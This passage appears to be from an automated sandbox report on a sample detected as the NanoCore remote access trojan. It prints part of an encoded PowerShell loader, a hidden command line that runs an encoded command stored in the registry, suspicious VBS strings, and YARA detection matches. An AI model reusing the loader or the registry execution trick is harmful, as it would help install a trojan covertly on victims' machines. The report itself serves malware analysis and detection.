ByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAGkAYQBzAHUAcwBpACAAc	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)

Potential malicious VBS script found (suspicious strings)

Source:	Initial file: obj1.ShellExecute MyFile , INTENS ,"","",0
Source:	Initial file: obj1.ShellExecute "powershell.exe", INTENS ,"","",0

Very long command line found

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 7389
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 7408
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 7408
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 7389	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 7408
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 7408

Source: 37.2.CasPol.exe.1e1c3f10.0.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 37.2.CasPol.exe.1e1c3f10.0.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 34.2.CasPol.exe.1e173f10.0.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.CasPol.exe.1e173f10.0.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 37.2.CasPol.exe.1f1eeadc.3.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 37.2.CasPol.exe.1f1eeadc.3.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 34.2.CasPol.exe.1f19eadc.2.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.CasPol.exe.1f19eadc.2.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 34.2.CasPol.exe.1f1a3105.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.CasPol.exe.1f1a3105.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 37.2.CasPol.exe.1f1f3105.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 37.2.CasPol.exe.1f1f3105.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 34.2.CasPol.exe.1f19eadc.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.CasPol.exe.1f19eadc.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 37.2.CasPol.exe.1f1e9ca6.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 37.2.CasPol.exe.1f1e9ca6.2.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 37.2.CasPol.exe.1f1e9ca6.2.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 34.2.CasPol.exe.1f199ca6.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 34.2.CasPol.exe.1f199ca6.1.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 34.2.CasPol.exe.1f199ca6.1.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 37.2.CasPol.exe.1f1eeadc.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 37.2.CasPol.exe.1f1eeadc.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000022.00000002.268467219270.000000001E151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000022.00000002.268467630247.000000001F151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000025.00000002.268476945395.000000001E1A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000025.00000002.268477360466.000000001F1A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: powershell.exe PID: 6132, type: MEMORYSTR	Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
Source: Process Memory Space: powershell.exe PID: 6968, type: MEMORYSTR	Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
Source: Process Memory Space: powershell.exe PID: 7416, type: MEMORYSTR	Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
Source: Process Memory Space: CasPol.exe PID: 3064, type: MEMORYSTR	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: CasPol.exe PID: 7664, type: MEMORYSTR	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_0376E958	10_2_0376E958
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_0376E949	10_2_0376E949
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_081E5AF0	10_2_081E5AF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_081EAC80	10_2_081EAC80
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_081E7380	10_2_081E7380
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_081E9A70	10_2_081E9A70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_081E7B20	10_2_081E7B20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_0823E050	10_2_0823E050
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_08233BE8	10_2_08233BE8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_0823BE98	10_2_0823BE98
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_08233BE8	10_2_08233BE8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_088D4BF0	10_2_088D4BF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_088D4FF0	10_2_088D4FF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_088D2227	10_2_088D2227
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_088D35B0	10_2_088D35B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_088D9928	10_2_088D9928
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_088DF380	10_2_088DF380
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_088D4BF0	10_2_088D4BF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_088D3258	10_2_088D3258
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_088DF380	10_2_088DF380
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_088DF374	10_2_088DF374
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_088DD5E0	10_2_088DD5E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_089B0968	10_2_089B0968
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_089B2858	10_2_089B2858
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_089B284A	10_2_089B284A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_089EEE78	10_2_089EEE78
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_089EAF08	10_2_089EAF08
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_089EC1F0	10_2_089EC1F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_089E0006	10_2_089E0006
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_089E0040	10_2_089E0040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_089EB198	10_2_089EB198
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_08AB8880	10_2_08AB8880
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_088D9919	10_2_088D9919
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_04AB8FB0	19_2_04AB8FB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_04ABE828	19_2_04ABE828
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_04ABE838	19_2_04ABE838
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_08010898	19_2_08010898
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_08011F00	19_2_08011F00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_08016D88	19_2_08016D88
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_08011F00	19_2_08011F00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_08010540	19_2_08010540
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_08150006	19_2_08150006
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_08150040	19_2_08150040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_081BC698	19_2_081BC698
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_081BC688	19_2_081BC688
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0845CD68	19_2_0845CD68
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0845C103	19_2_0845C103
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0845E6DA	19_2_0845E6DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0845D712	19_2_0845D712
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0845F640	19_2_0845F640
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0856ECF0	19_2_0856ECF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_08563360	19_2_08563360
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_08563332	19_2_08563332
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_08955990	19_2_08955990
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_08955980	19_2_08955980
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_089501C8	19_2_089501C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_08951680	19_2_08951680
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_089AD078	19_2_089AD078
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_089AD998	19_2_089AD998
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_089A0040	19_2_089A0040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_08016D84	19_2_08016D84
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Code function: 20_2_054F04B0	20_2_054F04B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_02B405C8	25_2_02B405C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_02B40040	25_2_02B40040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_02B436E0	25_2_02B436E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_02B436D0	25_2_02B436D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_02B40608	25_2_02B40608
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_02B436E0	25_2_02B436E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_02B41578	25_2_02B41578
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_02B51D19	25_2_02B51D19
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_02B51D19	25_2_02B51D19
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_04A7E960	25_2_04A7E960
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_04A7E951	25_2_04A7E951
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_0795BE58	25_2_0795BE58
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_079524C8	25_2_079524C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_0795DB18	25_2_0795DB18
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_079571D8	25_2_079571D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_0796CBA8	25_2_0796CBA8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_07962F98	25_2_07962F98
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_07961E58	25_2_07961E58
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_07962A41	25_2_07962A41
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_08100011	25_2_08100011
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_08100040	25_2_08100040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_08179608	25_2_08179608
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_0817CFE8	25_2_0817CFE8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_08173218	25_2_08173218
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_08173220	25_2_08173220
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_08175A68	25_2_08175A68
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_081870E0	25_2_081870E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_08186320	25_2_08186320
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Code function: 26_2_018F04B0	26_2_018F04B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_03282648	28_2_03282648
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_03284E58	28_2_03284E58
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_03286CB8	28_2_03286CB8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_03280CC0	28_2_03280CC0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_03280040	28_2_03280040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_0328B588	28_2_0328B588
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_03284B00	28_2_03284B00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_04CEE938	28_2_04CEE938
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_0797ECE0	28_2_0797ECE0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_0797042D	28_2_0797042D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_07970448	28_2_07970448
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_0797ECE0	28_2_0797ECE0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_07976E7B	28_2_07976E7B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_07976DF0	28_2_07976DF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_07973A08	28_2_07973A08
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_07973A28	28_2_07973A28
